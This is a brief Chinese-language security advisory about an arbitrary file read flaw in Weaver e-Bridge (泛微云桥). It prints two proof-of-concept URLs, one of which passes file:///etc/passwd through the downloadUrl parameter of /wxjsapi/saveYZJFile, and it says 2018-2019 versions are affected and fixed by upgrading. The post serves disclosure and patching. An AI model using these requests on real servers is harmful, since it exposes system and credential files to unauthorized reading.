泛微云桥任意文件读取漏洞[尽快升级]

0x00 泛微云桥

来不及解释了，看图

用的人很多。

0X01 漏洞验证

/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt

/file/fileNoLogin/3e2598b16871455286ebf95c3e8e118c

0X02 漏洞影响范围

几乎影响2018-2019全版本

0X03 缓解措施

最新版本已修复该漏洞，请尽快升级。

长按下方图片关注我们：